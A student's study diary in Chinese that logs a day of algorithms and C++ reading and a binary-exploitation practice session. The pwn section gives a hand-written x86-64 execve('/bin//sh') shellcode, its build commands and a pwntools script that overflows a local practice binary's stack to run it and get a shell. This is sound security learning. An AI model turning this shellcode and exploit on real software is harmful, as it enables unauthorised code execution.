现在 2021.6.15 AM9:06,某校企合作公司(推华为证书)过来疯狂输出压力,虽然懂的都懂,我还是挺好奇班里有些人是怎么想,不过我只好奇这门课到底作业麻不麻烦。--6.15
6.15 TO DO LIST:
一:每日Pwn学习
二:算法导论完成第二章两个算法 浏览第三章
三:CPP 第一章练习 浏览第二章
一:每日Pwn学习
今天试了一下64位的手写shellcode
首先vim ~/.gdbinit 改成peda
首先vmmap用vmmap查看段是有可执行权限的
和pwndbg操作都一样就不重复了
然后试pattern create 300
和pwndbg不同是这边是停在这个ret,然后不会跳错误的是哪个返回地址
推测就是栈上前8位
但这边细节的一点就是不用加0x 加0x就会报错
于是获取偏移为40
然后就是自写的shellcode_64
xor rax,rax
add rax,0x3b
xor rdi,rdi
push rdi
mov rdi,0x68732f2f6e69622f
push rdi
lea rdi,[rsp]
xor rsi,rsi
xor rdx,rdx
syscall
以及脚本
nasm -f elf64 -o shellcode_64.o shellcode_64.asm
#生成.o结尾的文件
#ld -m elf_amd64-64 -o shellcode_64_exe shellcode_64.o
#链接成可执行文件
objcopy -O binary shellcode_64.o shellcode_64
#提取可执行代码段,如果没有链接成可执行文件,从.o文件中提取也一样
rm -f shellcode_64.o
rm -f shellcode_64_exe
这边链接不成可执行文件,于是就跳过这一步,好像架构一直有问题搞不对
然后就可以上exp.py !
from pwn import *
p = process("./ret2shellcode_64")
e = ELF("./ret2shellcode_64")
buf2 = e.symbols["buf2"]
offset = 40
payload1 = offset*"P" + p64(buf2)
c = open("./shellcode_64","r")
shellcode = c.read()
payload2 = shellcode.ljust(200,"z")
p.recvuntil(": ")
p.sendline(payload1)
p.recvuntil(": ")
p.sendline(payload2)
p.interactive()
获取权限!
二:算法导论
完成阅读,完成算法。
问题就是没想到每次阅读都会掉进去,真希望有足够的时间给我慢慢看,算法还待优化,不过程序和程序员有一个能跑就行了(这次是我跑run)。
三:CPP
又是要带回去看的一天
现在十一点三十一,看完了第二章感觉还不错,这次感觉解决了之前的我一些细节,系统学习yyds。
night.